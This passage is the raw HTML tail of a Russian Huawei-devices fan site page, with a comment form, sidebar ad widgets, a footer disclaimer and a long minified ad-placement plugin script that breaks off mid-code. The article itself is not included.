itemscope itemtype="https://schema.org/ImageObject"><meta itemprop="url" content="https://huaweidevices.ru/wp-content/uploads/2021/11/uphuawei-min-150x84.jpg"/><meta itemprop="width" content="150"/><meta itemprop="height" content="84"/></div><div style="display: none;" itemprop="publisher" itemscope itemtype="https://schema.org/Organization"><meta itemprop="name" content="Huawei Devices"/><meta itemprop="url" content="https://huaweidevices.ru"/><div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject"><meta itemprop="url" content=""/></div></div></div><div id="post-ratings-21258-loading" class="post-ratings-loading"><img src="https://huaweidevices.ru/wp-content/plugins/wp-postratings/images/loading.gif" width="16" height="16" class="post-ratings-image"/> Загрузка...</div> <script>var socials_webnavoz_ajaxUrl = "https://huaweidevices.ru/wp-admin/admin-ajax.php"; var id_post = '21258';</script> <div class="wrap-socials_webnavoz"><div class="socials-likebox_webnavoz"> <span class="likebutton_webnavoz like__link_webnavoz" data-st="1">Понравилось! <span class="count_webnavoz count-js_webnavoz">0</span></span></div><div class="socials-button_webnavoz"><div class="b-share_webnavoz"><div class="b-share__ico_webnavoz b-share__vk_webnavoz js-share-link_webnavoz" data-uri="http://vk.com/share.php?url=https://huaweidevices.ru/novosti/rukovodstvo-po-ustanovke-simulyatora-uaei-ensp-russkie-blogi"></div><div class="b-share__ico_webnavoz b-share__fb_webnavoz js-share-link_webnavoz" data-uri="http://www.facebook.com/sharer.php?u=https://huaweidevices.ru/novosti/rukovodstvo-po-ustanovke-simulyatora-uaei-ensp-russkie-blogi"></div><div class="b-share__ico_webnavoz b-share__ok_webnavoz js-share-link_webnavoz" data-uri="https://connect.ok.ru/offer?url=https://huaweidevices.ru/novosti/rukovodstvo-po-ustanovke-simulyatora-uaei-ensp-russkie-blogi"></div><div class="b-share__ico_webnavoz b-share__tw_webnavoz js-share-link_webnavoz" data-uri="http://twitter.com/share?text=&amp;url=https://huaweidevices.ru/novosti/rukovodstvo-po-ustanovke-simulyatora-uaei-ensp-russkie-blogi"></div></div></div></div><div id="comments" class="comments-area"><div id="respond" class="comment-respond"><h3 id="reply-title" class="comment-reply-title"><span>Расскажите нам ваше мнение:</span> <small><a rel="nofollow" id="cancel-comment-reply-link" href="/novosti/rukovodstvo-po-ustanovke-simulyatora-uaei-ensp-russkie-blogi#respond" style="display:none;">Отменить ответ</a></small></h3><form action="https://huaweidevices.ru/wp-comments-post.php" method="post" id="commentform" class="comment-form" novalidate><p class="comment-notes"><span id="email-notes">Ваш адрес email не будет опубликован.</span> <span class="required-field-message" aria-hidden="true">Обязательные поля помечены <span class="required" aria-hidden="true">*</span></span></p><p class="comment-form-comment"><label for="comment">Комментарий <span class="required" aria-hidden="true">*</span></label><textarea id="comment" name="comment" cols="45" rows="8" maxlength="65525" required></textarea></p><p class="comment-form-author"><label for="author">Имя <span class="required" aria-hidden="true">*</span></label> <input id="author" name="author" type="text" value="" size="30" maxlength="245" required/></p><p class="comment-form-email"><label for="email">Email <span class="required" aria-hidden="true">*</span></label> <input id="email" name="email" type="email" value="" size="30" maxlength="100" aria-describedby="email-notes" required/></p><p class="form-submit"><input name="submit" type="submit" id="submit" class="submit" value="Отправить комментарий"/> <input type='hidden' name='comment_post_ID' value='21258' id='comment_post_ID'/> <input type='hidden' name='comment_parent' id='comment_parent' value='0'/></p><p style="display: none;"><input type="hidden" id="akismet_comment_nonce" name="akismet_comment_nonce" value="0a2e522b51"/></p><p style="display: none !important;"><label>&#916;<textarea name="ak_hp_textarea" cols="45" rows="8" maxlength="100"></textarea></label><input type="hidden" id="ak_js_1" name="ak_js" value="194"/><script>document.getElementById( "ak_js_1" ).setAttribute( "value", ( new Date() ).getTime() );</script></p></form></div></div></main></section><section id="secondary" class="sidebar widget-area clearfix" role="complementary"><aside id="search-2" class="widget widget_search clearfix"><form role="search" method="get" class="search-form" action="https://huaweidevices.ru/"> <label> <span class="screen-reader-text">Search for:</span> <input type="search" class="search-field" placeholder="Search &hellip;" value="" name="s" title="Search for:"/> </label> <button type="submit" class="search-submit"> <span class="genericon-search"></span> <span class="screen-reader-text">Search</span> </button></form></aside><aside id="custom_html-4" class="widget_text widget widget_custom_html clearfix"><div class="textwidget custom-html-widget"><script async src="//azfitn.com/tgl1l7192/livpm0y038hq687vqu786kpyagiq.php"></script> <div data-la-block="72ef8232-3db3-4eaf-9b81-ef9beb9bb6ce"></div></div></aside><aside id="categories-3" class="widget widget_categories clearfix"><div class="widget-header"><h3 class="widget-title">Рубрики</h3></div><ul><li class="cat-item cat-item-4"><a href="https://huaweidevices.ru/category/katalog" title="В этом разделе публикуется коммерческая информация об устройствах от компании Huawei: модели, характеристики, стоимость и контактные данные интернет-магазинов.">Каталог</a></li><li class="cat-item cat-item-1"><a href="https://huaweidevices.ru/category/novosti" title="В этом разделе публикуются новости об устройствах от компании Huawei и связанных с ней событиях.">Новости</a></li><li class="cat-item cat-item-3"><a href="https://huaweidevices.ru/category/obzori" title="В этом разделе публикуются обзоры на устройства от компании Huawei.">Обзоры</a></li><li class="cat-item cat-item-5"><a href="https://huaweidevices.ru/category/proshivki" title="В этом разделе публикуются ссылки на файлы прошивок и инструкции по прошивке для устройств от компании Huawei.">Прошивки</a></li></ul></aside><aside id="custom_html-5" class="widget_text widget widget_custom_html clearfix"><div class="textwidget custom-html-widget"><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-1782472449901794" crossorigin="anonymous"></script> <ins class="adsbygoogle" style="display:block" data-ad-client="ca-pub-1782472449901794" data-ad-slot="9612229859" data-ad-format="auto" data-full-width-responsive="true"></ins> <script>(adsbygoogle = window.adsbygoogle || []).push({});</script></div></aside></section></div><div id="footer" class="footer-wrap"><footer id="colophon" class="site-footer container clearfix" role="contentinfo"><div id="footer-text" class="site-info"> <span class="credit-link"> HuaweiDevices.Ru © 2019 Данный сайт НЕ является официальным сайтом компании <a href="https://www.huawei.com">Huawei.</a> Сайт носит исключительно ознакомительно-информационный характер. Все товарные знаки и бренды принадлежат их правообладателям. При использовании данного сайта, вы подтверждаете свое согласие на использование файлов cookie в соответствии с настоящим уведомлением в отношении данного типа файлов. Если вы не согласны с тем, чтобы мы использовали данный тип файлов, то вы должны соответствующим образом установить настройки вашего браузера или не использовать сайт. </span></div></footer></div></div> <script>(function($){ $(function(){ $(document).on("click", ".pseudo-link", function(){ window.open($(this).data("link")); }); }); })(jQuery);</script> <center style="display:none; visibility: hidden;"> <a href="//www.liveinternet.ru/click"target="_blank"><img src="//counter.yadro.ru/logo?26.6"title="LiveInternet: показано число посетителей за сегодня"alt="" border="0" width="88" height="15"/></a></center> <script type='text/javascript' id='contact-form-7-js-extra'>var wpcf7 = {"api":{"root":"https:\/\/huaweidevices.ru\/wp-json\/","namespace":"contact-form-7\/v1"},"cached":"1"};</script> <script type='text/javascript' id='toc-front-js-extra'>var tocplus = {"smooth_scroll":"1","visibility_show":"\u041f\u043e\u043a\u0430\u0437\u0430\u0442\u044c","visibility_hide":"\u0421\u043a\u0440\u044b\u0442\u044c","width":"Auto"};</script> <script type='text/javascript' id='wp-postratings-js-extra'>var ratingsL10n = {"plugin_url":"https:\/\/huaweidevices.ru\/wp-content\/plugins\/wp-postratings","ajax_url":"https:\/\/huaweidevices.ru\/wp-admin\/admin-ajax.php","text_wait":"\u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043d\u0435 \u0433\u043e\u043b\u043e\u0441\u0443\u0439\u0442\u0435 \u0437\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e.","image":"stars","image_ext":"gif","max":"5","show_loading":"1","show_fading":"1","custom":"0"}; var ratings_mouseover_image=new Image();ratings_mouseover_image.src="https://huaweidevices.ru/wp-content/plugins/wp-postratings/images/stars/rating_over.gif";;</script> <script type='text/javascript' id='q2w3_fixed_widget-js-extra'>var q2w3_sidebar_options = [{"sidebar":"sidebar","use_sticky_position":false,"margin_top":60,"margin_bottom":100,"stop_elements_selectors":"","screen_max_width":0,"screen_max_height":0,"widgets":["#custom_html-5"]}];</script> <script type='text/javascript' id='add_linkoncopy-js-extra'>var astx_add_link_copied_text = {"readmore":"\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a:","addlinktosite":"","addsitename":"","breaks":"2","cleartext":"","reloption":"na","replaced_text":"","target":"","usesitenameaslink":"1","usetitle":"","sitename":"Huawei Devices","siteurl":"https:\/\/huaweidevices.ru","frontpage":""};</script> <ins id="adsense" class="adsbygoogle" data-tag="flat_pm" style="position:absolute;left:-9999px;top:-9999px">Adblock<br>detector</ins><style>.fpm_5_modal{position:fixed;top:50%;left:50%;height:auto;z-index:-2000;visibility:hidden;backface-visibility:hidden;transform:translateX(-50%) translateY(-50%)} .fpm_5_modal-show{z-index:2000;visibility:visible} .fpm_5_modal-overlay{position:fixed;width:100%;height:100%;visibility:hidden;top:0;left:0;z-index:-1000;opacity:0;background:rgba(0,0,0,.55);transition:opacity .3s ease} .fpm_5_modal-show ~ .fpm_5_modal-overlay{z-index:1000;opacity:1;visibility:visible} .fpm_5_modal-content{background:#fff;position:relative;transform:translateY(30%);opacity:0;transition:all .3s ease;min-width:200px;min-height:100px} .fpm_5_modal-show .fpm_5_modal-content{transform:translateY(0);opacity:1} .fpm_5_modal .fpm_5_timer, .fpm_5_modal .fpm_5_cross{top:0!important} .fpm_5_cross{transition:box-shadow .2s ease;position:absolute;top:-0px;right:0;width:34px;height:34px;background:#000000;display:block;cursor:pointer;z-index:99;border:none;padding:0;min-width:0;min-height:0} .fpm_5_cross:hover{box-shadow:0 0 0 50px rgba(0,0,0,.2) inset} .fpm_5_cross:after, .fpm_5_cross:before{transition:transform .3s ease;content:'';display:block;position:absolute;top:0;left:0;right:0;bottom:0;width:calc(34px / 2);height:3px;background:#ffffff;transform-origin:center;transform:rotate(45deg);margin:auto} .fpm_5_cross:before{transform:rotate(-45deg)} .fpm_5_cross:hover:after{transform:rotate(225deg)} .fpm_5_cross:hover:before{transform:rotate(135deg)} .fpm_5_timer{position:absolute;top:-0px;right:0;padding:0 15px;color:#ffffff;background:#000000;line-height:34px;height:34px;text-align:center;font-size:14px;z-index:99} .fpm_5_timer span{font-size:16px;font-weight:600} .fpm_5_out{transition:transform .3s ease,opacity 0s ease;transition-delay:0s,.3s;position:fixed;min-width:250px;min-height:150px;z-index:9999;opacity:0;-webkit-backface-visibility:hidden} .fpm_5_out *{max-width:none!important} .fpm_5_out.top .fpm_5_cross{top:auto;bottom:150px} .fpm_5_out.show.top .fpm_5_cross{bottom:-0px} .fpm_5_out.bottom .fpm_5_cross{top:150px} .fpm_5_out.show.bottom .fpm_5_cross{top:-0px} .fpm_5_out.right .fpm_5_cross{right:auto;left:0} .fpm_5_out.top .fpm_5_timer{top:auto;bottom:150px} .fpm_5_out.show.top .fpm_5_timer{bottom:-0px} .fpm_5_out.bottom .fpm_5_timer{top:150px} .fpm_5_out.show.bottom .fpm_5_timer{top:-0px} .fpm_5_out.right .fpm_5_timer{right:auto;left:0} .fpm_5_out.top{bottom:100%;left:50%;transform:translateY(0) translateX(-50%);padding-bottom:150px} .fpm_5_out.bottom{top:100%;left:50%;transform:translateY(0) translateX(-50%);padding-top:150px} .fpm_5_out.left{bottom:0;right:100%;transform:translateX(0);left:auto} .fpm_5_out.right{bottom:0;left:100%;transform:translateX(0);right:auto} .fpm_5_out.show{transition-delay:0s,0s;opacity:1;min-width:0;min-height:0;background:#fff} .fpm_5_out.closed{min-width:0;min-height:0} .fpm_5_out.show.top{transform:translateY(100%) translateX(-50%);padding-bottom:0px} .fpm_5_out.show.bottom{transform:translateY(-100%) translateX(-50%);padding-top:0px} .fpm_5_out.show.left{transform:translateX(100%)} .fpm_5_out.show.right{transform:translateX(-100%)} .flatpm_fixed{position:fixed;z-index:50} .flatpm_stop{position:relative;z-index:50} .fpm_5_video{position:relative;overflow:hidden;padding-bottom:56.25%;height:0} .fpm_5_video iframe{display:block;width:100%;height:100%;position:absolute} .fpm_5_video_flex{display:flex;align-items:center;justify-content:center;position:absolute;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.65);opacity:0;transition:opacity .35s ease} .fpm_5_video_flex.show{opacity:1} .fpm_5_video_item{position:relative;max-height:calc(100% - 68px);max-width:calc(100% - 68px);z-index:-1} .fpm_5_video_flex.show .fpm_5_video_item{z-index:1} .fpm_5_video_flex .fpm_5_timer, .fpm_5_video_flex .fpm_5_cross{top:10px!important;right:10px!important} .fpm_5_video_item_hover{position:absolute;top:0;left:0;right:0;bottom:0;width:100%;height:100%;cursor:pointer;z-index:2}</style> <script>var duplicateMode="undefined"!=typeof duplicateFlatPM&&duplicateFlatPM,untilscroll="undefined"!=typeof untilscrollFlatPM?untilscrollFlatPM:".flat_pm_end";document['wr'+'ite']=function(t){var e=document.createElement("div");ff(document.currentScript).after(e),flatPM_setHTML(e,t),ff(e).contents().unwrap()},window.flatPM_sticky=function(t,a,e){var l=t,d=null,s=e=e||0;function n(){if(null==d){for(var t=getComputedStyle(l,""),e="",n=0;n<t.length;n++)0!=t[n].indexOf("overflow")&&0!=t[n].indexOf("padding")&&0!=t[n].indexOf("border")&&0!=t[n].indexOf("outline")&&0!=t[n].indexOf("box-shadow")&&0!=t[n].indexOf("background")||(e+=t[n]+": "+t.getPropertyValue(t[n])+"; ");(d=document.createElement("div")).style.cssText=e+" box-sizing: border-box; width: "+l.offsetWidth+"px;",l.insertBefore(d,l.firstChild);for(var o=l.childNodes.length,n=1;n<o;n++)d.appendChild(l.childNodes[1]);l.style.padding="0",l.style.border="0"}l.style.height=d.getBoundingClientRect().height+"px";var r=l.getBoundingClientRect(),i=Math.round(r.top+d.getBoundingClientRect().height-a.getBoundingClientRect().bottom);r.top-s<=0?r.top-s<=i?(d.className="flatpm_stop",d.style.top=-i+"px"):(d.className="flatpm_fixed",d.style.top=s+"px"):(d.className="",d.style.top=""),window.addEventListener("resize",function(){l.children[0].style.width=getComputedStyle(l,"").width},!1)}window.addEventListener("scroll",n,!1),document.body.addEventListener("scroll",n,!1)},window.flatPM_addDays=function(t,e){var n=60*t.getTimezoneOffset()*1e3,o=t.getTime(),t=new Date;return o+=864e5*e,t.setTime(o),n!=(e=60*t.getTimezoneOffset()*1e3)&&(o+=e-n,t.setTime(o)),t},window.flatPM_adbDetect=function(){var t=document.querySelector('#adsense.adsbygo'+'ogle[data-tag="flat_pm"]');if(!t)return!0;t=t.currentStyle||window.getComputedStyle(t,null),t=parseInt(t.height);return!(!isNaN(t)&&0!=t)},window.flatPM_setCookie=function(t,e,n){var o,r=(n=n||{path:"/"}).expires;"number"==typeof r&&r&&((o=new Date).setTime(o.getTime()+1e3*r),r=n.expires=o),r&&r.toUTCString&&(n.expires=r.toUTCString());var i,a=t+"="+(e=encodeURIComponent(e));for(i in n){a+="; "+i;var l=n[i];!0!==l&&(a+="="+l)}document.cookie=a},window.flatPM_getCookie=function(n){var t=document.cookie.split("; ").reduce(function(t,e){e=e.split("=");return e[0]===n?decodeURIComponent(e[1]):t},"");return""!=t?t:void 0},window.flatPM_testCookie=function(){var t="test_56445";try{return localStorage.setItem(t,t),localStorage.removeItem(t),!0}catch(t){return!1}},window.flatPM_grep=function(t,n,o){return ff.grep(t,function(t,e){return o?e==n:(e+1)%n==0})},window.flatPM_randomString=function(t){for(var e="",n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",o=n.length,r=0;r<t;r++)e+=n.charAt(Math.floor(Math.random()*o));return e},window.flatPM_random=function(t,e){return Math.floor(Math.random()*(e-t+1))+t},window.flatPM_sanitizeUrlParams=function(t){return t&&["__proto__","constructor","prototype"].includes(t.toLowerCase())?t.toUpperCase():t},window.flatPM_getAllUrlParams=function(t){var e={};if(!t||0==t.length)return e;t=(t=flatPM_sanitizeUrlParams(t))?t.split("?")[1]:window.location.search.slice(1);if(t)for(var n=(t=t.split("#")[0]).split("&"),o=0;o<n.length;o++){var r,i=n[o].split("="),a=i[0],l=void 0===i[1]||i[1],a=a.toLowerCase();"string"==typeof l&&(l=l.toLowerCase()),a.match(/\[(\d+)?\]$/)?(e[r=a.replace(/\[(\d+)?\]/,"")]||(e[r]=[]),a.match(/\[\d+\]$/)?(i=/\[(\d+)\]/.exec(a)[1],e[r][i]=l):e[r].push(l)):e[a]?(e[a]&&"string"==typeof e[a]&&(e[a]=[e[a]]),e[a].push(l)):e[a]=l}return e};var ff,flat_body,flat_stack_scripts=[],flat_pm_then=[],flat_date=new Date,flat_titles="h1,h2,h3,h4,h5,h6",flat_dateYear=flat_date.getFullYear(),flat_dateMonth=2==(flat_date.getMonth()+1+"").length?flat_date.getMonth()+1:"0"+(flat_date.getMonth()+1),flat_dateDay=2==(flat_date.getDate()+"").length?flat_date.getDate():"0"+flat_date.getDate(),flat_dateHours=2==(flat_date.getHours()+"").length?flat_date.getHours():"0"+flat_date.getHours(),flat_dateMinutes=2==(flat_date.getMinutes()+"").length?flat_date.getMinutes():"0"+flat_date.getMinutes(),flat_userVars={init:function(){this.testcook=flatPM_testCookie(),this.browser=this.searchString(this.dataBrowser)||!1,this.os=this.searchString(this.dataOS)||!1,this.referer=this.cookieReferer(),this.winwidth=window.innerWidth,this.date=flat_dateYear+"-"+flat_dateMonth+"-"+flat_dateDay,this.time=flat_dateHours+":"+flat_dateMinutes,this.adb=flatPM_adbDetect(),this.until=ff(".flat_pm_start").nextUntil(".flat_pm_end"),this.textlen=this.until.text().replace(/(\s)+/g,"").length,this.titlelen=this.until.find(flat_titles).add(this.until.siblings(flat_titles)).length,this.country=this.cookieData("country"),this.city=this.cookieData("city"),this.ccode=this.cookieData("ccode"),this.role=this.cookieData("role"),this.ip=this.cookieData("ip")},cookieReferer:function(){return parent!==window?"///:iframe":flat_userVars.testcook?(void 0===flatPM_getCookie("flat_r_mb")&&flatPM_setCookie("flat_r_mb",""!=document.referrer?document.referrer:"///:direct"),flatPM_getCookie("flat_r_mb")):""!=document.referrer?document.referrer:"///:direct"},cookieData:function(t){return flat_userVars.testcook&&void 0!==flatPM_getCookie("flat_"+t+"_mb")?flatPM_getCookie("flat_"+t+"_mb"):""},searchString:function(t){for(var e=t.length,o=0;o<e;o++){var a=t[o].str;if(a&&t[o].subStr.test(a))return t[o].id}},dataBrowser:[{str:navigator.userAgent,subStr:/OmniWeb/,ver:"OmniWeb/",id:"OmniWeb"},{str:navigator.userAgent,subStr:/YaBrowser/,id:"YaBrowser"},{str:navigator.vendor,subStr:/Apple/,id:"Safari",ver:"Version"},{str:navigator.userAgent,subStr:/OPR/,id:"Opera",ver:"Version"},{str:navigator.userAgent,subStr:/Firefox/,id:"Firefox"},{str:navigator.userAgent,subStr:/.NET CLR/,id:"Internet Explorer",ver:"MSIE"},{str:navigator.userAgent,subStr:/Edge/,id:"Edge",ver:"rv"},{str:navigator.vendor,subStr:/iCab/,id:"iCab"},{str:navigator.vendor,subStr:/KDE/,id:"Konqueror"},{str:navigator.vendor,subStr:/Camino/,id:"Camino"},{str:navigator.userAgent,subStr:/Netscape/,id:"Netscape"},{str:navigator.userAgent,subStr:/Chrome/,id:"Chrome"},{str:navigator.userAgent,subStr:/Mozilla/,id:"Netscape",ver:"Mozilla"}],dataOS:[{str:navigator.platform,subStr:/Win/,id:"Windows"},{str:navigator.platform,subStr:/Mac/,id:"Mac"},{str:navigator.platform,subStr:/(iPhone|iPad|iPod)/,id:"iPhone"},{str:navigator.platform,subStr:/Linux/,id:"Linux"}]};/zen.yandex/.test(flatPM_getAllUrlParams().utm_referrer)&&(flatPM_setCookie("flat_r_mb","zen.yandex"),flat_userVars.referer="zen.yandex"),window.flatPM_ajax=function(t,e){e=e||[],ff.ajax({type:"POST",url:ajaxUrlFlatPM,dataType:"json",data:{action:"flat_pm_ajax",data_me:{method:t,arr:e}},success:function(t){flat_body.removeClass(t.method),"block_geo_role_ip"===t.method?(flat_userVars.ccode=t.data.ccode,flat_userVars.country=t.data.country,flat_userVars.city=t.data.city,flat_userVars.ip=t.data.ip,flat_userVars.testcook&&(flatPM_setCookie("flat_ccode_mb",t.data.ccode),flatPM_setCookie("flat_country_mb",t.data.country),flatPM_setCookie("flat_city_mb",t.data.city),flatPM_setCookie("flat_ip_mb",t.data.ip),flatPM_setCookie("flat_role_mb",t.data.role)),flatPM_then()):(console.log("ajax error:"),console.error("Метод оказался ошибочным"))},error:function(){console.log("ajax error:"),console.error("Скрипт php вернул ошибку")}})},window.flatPM_then=function(){var t=flat_pm_then.length;if(0!=t){for(var e=0;e<t;e++){var o=flat_pm_then[e];flatPM_next(o)}0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts)}else flat_pm_then=[]},window.flatPM_persentWrapper=function(t,o,e){var a=0,r=!1;return t.each(function(){var t=ff(this),e=t.clone().find("img, ins, script, style, noscript").remove().end().text().replace(/(\s)+/g,"");if(a+=e.length,o<=a)return r=t,!1}),r},window.flatPM_setWrap=function(t){try{var e,o,a,r,i,l,s,f,n,d=document.createElement("div");d.setAttribute("data-flat-id",t.ID),void 0!==t.how.simple&&("1"==t.how.simple.position&&ff(".flat_pm_start").before(d),"2"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length/2)]).before(d),"3"==t.how.simple.position&&ff(".flat_pm_end").before(d),"4"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length*t.how.simple.fraction.split("/")[0]/t.how.simple.fraction.split("/")[1])]).before(d),"5"==t.how.simple.position&&t.how.simple.fraction<=flat_userVars.textlen&&(!1===(e=flatPM_persentWrapper(flat_userVars.until,t.how.simple.fraction,d))||e.next().is("[data-flat-id]")||e.after(d)),"6"==t.how.simple.position&&(d.setAttribute("data-flat-type","6"),r=flat_userVars.textlen/100*t.how.simple.fraction,e=flatPM_persentWrapper(flat_userVars.until,r,d),(o=!1)!==e&&(a=e.prevAll('[data-flat-type="6"]:first'),r=e.nextAll('[data-flat-type="6"]:first'),0!=a.length&&(console.log(e.prevUntil(a).text().replace(/(\s)+/g,"").length),e.prevUntil(a).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(o=!0)),0!=r.length&&(console.log(e.nextUntil(r).text().replace(/(\s)+/g,"").length),e.nextUntil(r).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(o=!0)),o||e.after(d)))),void 0!==t.how.onсe&&(i="true"==t.how.onсe.search_all?ff("html"):flat_userVars.until,l=t.how.onсe.N,s=t.how.onсe.selector,f=t.how.onсe.direction,n=t.how.onсe.before_after,0<(i=i.find(s).add(i.filter(s))).length&&(l="bottom_to_top"==f?i.length-l:l-1,"after"==n&&ff(flatPM_grep(i,l,1)).after(d),"before"==n&&ff(flatPM_grep(i,l,1)).before(d),"append"==n&&ff(flatPM_grep(i,l,1)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,1)).prepend(d))),void 0!==t.how.iterable&&(i="true"==t.how.iterable.search_all?ff("html"):flat_userVars.until,l=t.how.iterable.N,s=t.how.iterable.selector,f=t.how.iterable.direction,n=t.how.iterable.before_after,0<(i=i.find(s).add(i.filter(s))).length&&("bottom_to_top"==f&&(i=i.get().reverse()),"after"==n&&ff(flatPM_grep(i,l,0)).after(d),"before"==n&&ff(flatPM_grep(i,l,0)).before(d),"append"==n&&ff(flatPM_grep(i,l,0)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,0)).prepend(d)))}catch(t){console.warn(t)}},window.flatPM_next=function(a){try{var t=[],e="",o=a.html.length;if(void 0!==a.ip&&"false"==flat_userVars.ip)return void ff('[data-flat-id="'+a.ID+'"]').remove();if(void 0!==a.role&&(void 0!==a.role.role_enabled&&-1==a.role.role_enabled.indexOf(flat_userVars.role)||void 0!==a.role.role_disabled&&-1!=a.role.role_disabled.indexOf(flat_userVars.role)))return void ff('[data-flat-id="'+a.ID+'"]').remove();if(void 0!==a.geo&&(void 0!==a.geo.country_enabled&&-1==a.geo.country_enabled.indexOf(flat_userVars.country)&&-1==a.geo.country_enabled.indexOf(flat_userVars.ccode)||void 0!==a.geo.country_disabled&&(-1!=a.geo.country_disabled.indexOf(flat_userVars.country)||-1!=a.geo.country_disabled.indexOf(flat_userVars.ccode))||void 0!==a.geo.city_enabled&&-1==a.geo.city_enabled.indexOf(flat_userVars.city)||void 0!==a.geo.city_disabled&&-1!=a.geo.city_disabled.indexOf(flat_userVars.city)))return void ff('[data-flat-id="'+a.ID+'"]').remove();for(var r,i,l,s,f=0;f<o;f++)("∞"==a.html[f].res_of||a.html[f].res_of<=flat_userVars.winwidth)&&("∞"==a.html[f].res_to||a.html[f].res_to>flat_userVars.winwidth)&&(void 0!==a.html[f].group?flat_userVars.adb?(null==t["group_"+a.html[f].group]&&(t["group_"+a.html[f].group]=[]),t["group_"+a.html[f].group].push(""==a.html[f].snd&&duplicateMode?a.html[f].fst:a.html[f].snd)):(null==t["group_"+a.html[f].group]&&(t["group_"+a.html[f].group]=[]),t["group_"+a.html[f].group].push(a.html[f].fst)):flat_userVars.adb?t.push(""==a.html[f].snd&&duplicateMode?a.html[f].fst:a.html[f].snd):t.push(a.html[f].fst));for(r in t)e="object"==typeof t[r]?e+"\n"+t[r][flatPM_random(0,t[r].length-1)]:e+"\n"+t[r];if(""==(e=e.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim()))return void ff('[data-flat-id="'+a.ID+'"]').remove();if(void 0===a.how.simple&&void 0===a.how.onсe&&void 0===a.how.iterable||ff('[data-flat-id="'+a.ID+'"]').each(function(){flatPM_setHTML(this,e)}),void 0!==a.how.popup&&(p="true"==a.how.popup.cross?void 0!==a.how.popup.timer&&"true"==a.how.popup.timer?'<div class="fpm_5_timer">Закрыть через <span>'+a.how.popup.timer_count+"</span></div>":'<button class="fpm_5_cross"></button>':"",document.createElement("div"),c=ff(window),b=ff("body"),g=void 0===flatPM_getCookie("flat_modal_"+a.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+a.ID+"_mb"),i="scroll.flatmodal"+a.ID,m="mouseleave.flatmodal"+a.ID+" blur.flatmodal"+a.ID,l=function(){var t,e,o;void 0!==a.how.popup.timer&&"true"==a.how.popup.timer&&(t=ff('.fpm_5_modal[data-id-modal="'+a.ID+'"] .fpm_5_timer span'),e=parseInt(a.how.popup.timer_count),o=setInterval(function(){t.text(--e),e<=0&&(clearInterval(o),t.parent().replaceWith('<button class="fpm_5_cross"></button>'))},1e3))},s=function(){void 0!==a.how.popup.cookie&&"false"==a.how.popup.cookie&&g&&(flatPM_setCookie("flat_modal_"+a.ID+"_mb",!1),ff('.fpm_5_modal[data-id-modal="'+a.ID+'"]').addClass("fpm_5_modal-show"),l()),void 0!==a.how.popup.cookie&&"false"==a.how.popup.cookie||(ff('.fpm_5_modal[data-id-modal="'+a.ID+'"]').addClass("fpm_5_modal-show"),l())},ff("body > *").eq(0).before('<div class="fpm_5_modal" data-flat-id="'+a.ID+'" data-id-modal="'+a.ID+'"><div class="fpm_5_modal-content">'+p+"</div></div>"),w=document.querySelector('.fpm_5_modal[data-id-modal="'+a.ID+'"] .fpm_5_modal-content'),flatPM_setHTML(w,e),"px"==a.how.popup.px_s?(c.bind(i,function(){c.scrollTop()>a.how.popup.after&&(c.unbind(i),b.unbind(m),s())}),void 0!==a.how.popup.close_window&&"true"==a.how.popup.close_window&&b.bind(m,function(){c.unbind(i),b.unbind(m),s()})):(v=setTimeout(function(){b.unbind(m),s()},1e3*a.how.popup.after),void 0!==a.how.popup.close_window&&"true"==a.how.popup.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),s()}))),void 0!==a.how.outgoing){function n(){var t,e,o;void 0!==a.how.outgoing.timer&&"true"==a.how.outgoing.timer&&(t=ff('.fpm_5_out[data-id-out="'+a.ID+'"] .fpm_5_timer span'),e=parseInt(a.how.outgoing.timer_count),o=setInterval(function(){t.text(--e),e<=0&&(clearInterval(o),t.parent().replaceWith('<button class="fpm_5_cross"></button>'))},1e3))}function d(){void 0!==a.how.outgoing.cookie&&"false"==a.how.outgoing.cookie&&g&&(ff('.fpm_5_out[data-id-out="'+a.ID+'"]').addClass("show"),n(),b.on("click",'.fpm_5_out[data-id-out="'+a.ID+'"] .fpm_5_cross',function(){flatPM_setCookie("flat_out_"+a.ID+"_mb",!1)})),void 0!==a.how.outgoing.cookie&&"false"==a.how.outgoing.cookie||(ff('.fpm_5_out[data-id-out="'+a.ID+'"]').addClass("show"),n())}var _,u="0"!=a.how.outgoing.indent?' style="bottom:'+a.how.outgoing.indent+'px"':"",p="true"==a.how.outgoing.cross?void 0!==a.how.outgoing.timer&&"true"==a.how.outgoing.timer?'<div class="fpm_5_timer">Закрыть через <span>'+a.how.outgoing.timer_count+"</span></div>":'<button class="fpm_5_cross"></button>':"",c=ff(window),h="scroll.out"+a.ID,m="mouseleave.outgoing"+a.ID+" blur.outgoing"+a.ID,g=void 0===flatPM_getCookie("flat_out_"+a.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+a.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(a.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('<div class="fpm_5_out '+_+'"'+u+' data-flat-id="'+a.ID+'" data-id-out="'+a.ID+'">'+p+"</div>");var v,w=document.querySelector('.fpm_5_out[data-id-out="'+a.ID+'"]');flatPM_setHTML(w,e),"px"==a.how.outgoing.px_s?(c.bind(h,function(){c.scrollTop()>a.how.outgoing.after&&(c.unbind(h),b.unbind(m),d())}),void 